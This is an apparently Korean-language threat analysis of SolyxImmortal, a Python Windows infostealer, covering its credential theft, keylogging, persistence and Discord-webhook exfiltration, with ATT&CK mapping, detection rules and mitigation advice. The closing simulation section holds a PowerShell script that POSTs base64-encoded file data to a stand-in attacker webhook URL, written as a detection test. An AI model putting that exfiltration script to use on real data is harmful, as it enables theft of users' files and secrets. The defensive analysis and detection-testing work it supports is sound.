SOLYXIMMORTAL : 파이썬 맬웨어 분석
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
Sol yxImmortal은 Python 기반의 Windows 정보 탈취기이며, 자격 증명, 문서, 키 입력, 스크린샷을 수집하여 Discord 웹훅을 통해 데이터를 유출합니다. 이 악성코드는 사용자 공간에서만 실행되며, 사용자의 AppData 디렉터리에 복사본을 설치하고 Run 키 레지스트리 값을 설정하여 지속성을 유지하며, 보이는 사용자 인터페이스 없이 계속 작동합니다.
조사
분석 결과 두 개의 내장된 Discord 웹훅 URL과 Chromium 기반 브라우저 자격 증명 해독을 위한 Windows DPAPI의 사용이 드러났습니다. 탈취기는 키보드 후크를 통해 키 입력을 기록하고, 활성 윈도우를 추적하여 잠재적으로 민감한 애플리케이션 제목을 식별하며, 반복적인 일정에 스크린샷을 캡처합니다. 지속성은 %AppData% 아래의 숨겨진 위치에 페이로드를 복사하고 사용자 로그온 시 실행되도록 새로운 값이 HKCU Run 키에 추가되어 구현됩니다.
완화
애플리케이션 허용 목록을 시행하고, 사용자-작성 가능 경로에서 바이너리 생성 및 실행을 모니터링하며, 사용자 수준 Run 키의 변경을 감지하고, Discord 웹훅 엔드포인트로의 아웃바운드 HTTPS POST 활동을 경고로 등록합니다. 브라우저 자격 증명 스토어에 대한 제어를 강화하고, 가능하면 스크립팅 언어 사용을 제한하여 엔드포인트 노출을 줄입니다.
대응
탐지 후, 영향을 받은 엔드포인트를 격리하고, 악성 AppData의 복사본을 제거하며, 관련된 Run 키 값을 삭제하고 식별된 Discord 웹훅 URL을 차단합니다. 잠재적으로 영향을 받은 계정의 자격 증명을 변경하고, 범위 결정 및 근본 원인 분석을 지원하기 위해 키스트로크 로그, 스크린샷 및 브라우저 데이터베이스의 포렌식 수집을 수행합니다.
"graph TB %% 클래스 정의 classDef technique fill:#ffcc99 classDef artifact fill:#ccffcc classDef malware fill:#ff9999 classDef process fill:#ccccff classDef service fill:#ffdd99 %% 기법 노드 tech_python["<b>기법</b> – <b>T1059.006</b> 명령 및 스크립팅 인터프리터: Python<br/><b>설명</b>: 임플란트를 시작하고 기능을 초기화하기 위해 악성 Python 코드를 실행합니다."] class tech_python technique tech_registry["<b>기법</b> – <b>T1547.001</b> 부팅 또는 로그온 자동 실행: 레지스트리 실행 키<br/><b>설명</b>: 악성코드를 쓰기 가능한 위치에 복사하고, 로그온 간 지속성을 위해 실행 키를 추가합니다."] class tech_registry technique tech_hidden["<b>기법</b> – <b>T1564.005</b> 아티팩트 숨기기: 숨겨진 파일 시스템<br/><b>설명</b>: 발견을 피하기 위해 악성 복사본에 숨김 및 시스템 속성을 지정합니다."] class tech_hidden technique tech_browser_creds["<b>기법</b> – <b>T1555.003</b> 암호 저장소에서 자격 증명 추출: 웹 브라우저<br/><b>설명</b>: 마스터 키와 DPAPI를 사용하여 저장된 Chromium 기반 브라우저 자격 증명을 추출하고 복호화합니다."] class tech_browser_creds technique tech_file_discovery["<b>기법</b> – <b>T1083</b> 파일 및 디렉터리 검색<br/><b>설명</b>: 관심 있는 문서를 찾기 위해 파일 시스템을 열람합니다."] class tech_file_discovery technique tech_keylogging["<b>기법</b> – <b>T1056.001</b> 입력 캡처: 키로깅<br/><b>설명</b>: 지속적인 키보드 리스너를 통해 키 입력을 기록하고 메모리에 저장합니다."] class tech_keylogging technique tech_screen_capture["<b>기법</b> – <b>T1113</b> 화면 캡처<br/><b>설명</b>: 정기적으로 및 민감한 활동이 있을 때의 활성 전경 창의 스크린샷을 캡처합니다."] class tech_screen_capture technique tech_archive["<b>기법</b> – <b>T1560.002</b> 수집된 데이터 아카이브: 라이브러리 통한 아카이브<br/><b>설명</b>: 크기 줄이기 및 콘텐츠 가리기를 위해 라이브러리를 사용하여 스테이징된 데이터를 ZIP 아카이브로 압축합니다."] class tech_archive technique tech_obfuscate["<b>기법</b> – <b>T1027</b> 난독화/압축된 파일 및 정보<br/><b>설명</b>: 압축을 사용하여 유출 전에 데이터를 숨깁니다."] class tech_obfuscate technique tech_exfil["<b>기법</b> – <b>T1567.004</b> 웹훅을 통한 채널에서의 탈출<br/><b>설명</b>: 공격자가 제어하는 Discord 웹훅 URL을 통해 수집된 데이터를 전송합니다."] class tech_exfil technique tech_third_party["<b>기법</b> – <b>T1102.003</b> 웹 서비스: 제3자 서비스<br/><b>설명</b>: 디스코드를 명령 및 제어 통신 위한 제3자 서비스로 사용합니다."] class tech_third_party technique %% 아티팩트 및 프로세스 노드 artifact_python["<b>아티팩트</b> – 피해자 호스트에서 실행된 Lethalcompany.py"] class artifact_python artifact process_copy["<b>프로세스</b> – 악성코드를 %AppData% 디렉토리에 복사"] class process_copy process artifact_persistence["<b>아티팩트</b> – 복사된 파일을 위한 레지스트리 실행 키 생성"] class artifact_persistence artifact artifact_hidden["<b>아티팩트</b> – 파일 속성이 숨김 및 시스템으로 설정됨"] class artifact_hidden artifact artifact_cred_extraction["<b>아티팩트</b> – Chrome/Edge 암호 및 쿠키 추출"] class artifact_cred_extraction artifact artifact_file_search["<b>아티팩트</b> – 사용자 홈에서 .doc, .pdf, .xls 파일 재귀적 열거"] class artifact_file_search artifact artifact_keylog["<b>아티팩트</b> – 주기적으로 플러시된 메모리 내 키스트로크 버퍼"] class artifact_keylog artifact artifact_screenshot["<b>아티팩트</b> – 윈도우 제목 키워드를 기반으로 캡처된 스크린샷"] class artifact_screenshot artifact artifact_zip["<b>아티팩트</b> – 스테이징된 데이터로 생성된 ZIP 아카이브"] class artifact_zip artifact artifact_exfil["<b>아티팩트</b> – 아카이브 및 스크린샷 포함한 HTTPS POST 요청을 Discord 웹훅으로 전송"] class artifact_exfil artifact service_discord["<b>서비스</b> – C2 및 탈출을 위해 사용된 Discord 웹훅"] class service_discord service %% 공격 흐름을 보여주는 연결 artifact_python –>|실행| tech_python tech_python –>|활성화| process_copy process_copy –>|파일을 AppData에 배치| artifact_persistence artifact_persistence –>|등록| tech_registry artifact_persistence –>|숨김으로 표시| tech_hidden tech_hidden –>|적용| artifact_hidden tech_browser_creds –>|수집| artifact_cred_extraction tech_file_discovery –>|수집| artifact_file_search tech_keylogging –>|캡처| artifact_keylog tech_screen_capture –>|캡처| artifact_screenshot tech_archive –>|생성| artifact_zip tech_obfuscate –>|지원| tech_archive artifact_zip –>|준비됨| tech_exfil tech_exfil –>|사용| service_discord service_discord –>|데이터 수신| artifact_exfil tech_third_party –>|채널 제공| tech_exfil "
공격 흐름
탐지
C2 채널로 가능한 Discord 오용 (프록시를 통해)
보기
파일 숨기기 실행에 기인 (명령행을 통해)
보기
가능한 지속성 포인트 [ASEPs – 소프트웨어/NTUSER 하이브] (레지스트리 이벤트를 통해)
보기
IOC (HashMd5)를 통한 탐지: SOLYXIMMORTAL : PYTHON 악성코드 분석
보기
IOC (HashSha256)를 통한 탐지: SOLYXIMMORTAL : PYTHON 악성코드 분석
보기
Discord 웹훅을 통한 SolyxImmortal 악성코드 유출 탐지 [Windows 네트워크 연결]
보기
SolyxImmortal Python 악성코드 실행 및 지속성 [Windows 프로세스 생성]
보기
시뮬레이션 실행
전제 조건: 텔레메트리 & 기준선 사전 비행 점검이 완료되어야 합니다.
-
공격 내러티브 및 명령:
대행자는 이미 호스트에 침투하여 자격 증명, 키로깅, 스크린샷을 수집했습니다 (T1056.001, T1113). 다음 단계는 악성 Discord 웹훅을 통해 수집된 데이터를 유출하는 것입니다. PowerShell을 사용하여 (내장, 외부 바이너리 없음) 악성코드는 base‑64로 인코딩된 파일 데이터를 포함하는 JSON 페이로드를 작성하고 웹훅 URL로 게시합니다. 이 규칙은 호스트명 및 HTTP 메서드만을 검색하므로 이 활동은 경고를 유발해야 합니다. -
회귀 테스트 스크립트:
# Discord 웹훅을 통한 SolyxImmortal 유출 시뮬레이션 param( [string]$WebhookUrl = "https://discord.com/api/webhooks/ATTACKER/EXFIL", [string]$FilePath = "$env:TEMPsample.txt" ) # 1. 수집된 데이터를 나타내는 더미 파일 생성 Set-Content -Path $FilePath -Value ("SensitiveData_" + (Get-Date).ToString("s")) # 2. 파일 내용을 Base64로 인코딩 (난독화 시뮬레이션) $fileBytes = [System.IO.File]::ReadAllBytes($FilePath) $b64Data = [Convert]::ToBase64String($fileBytes) # 3. Discord 웹훅이 기대하는 JSON 페이로드 작성 $payload = @{ content = "Exfiltration payload" embeds = @( @{ title = "StolenFile.txt" description = $b64Data color = 16711680 } ) } | ConvertTo-Json -Depth 5 # 4. HTTPS POST 요청 전송 Invoke-WebRequest -Uri $WebhookUrl -Method POST -Body $payload -ContentType "application/json" -UseBasicParsing Write-Host "유출 시도가 전송되었습니다." -
정리 명령:
# 더미 파일 제거 및 잔여 변수 정리 Remove-Item -Path "$env:TEMPsample.txt" -ErrorAction SilentlyContinue Remove-Variable -Name WebhookUrl, FilePath, fileBytes, b64Data, payload -ErrorAction SilentlyContinue Write-Host "정리 완료."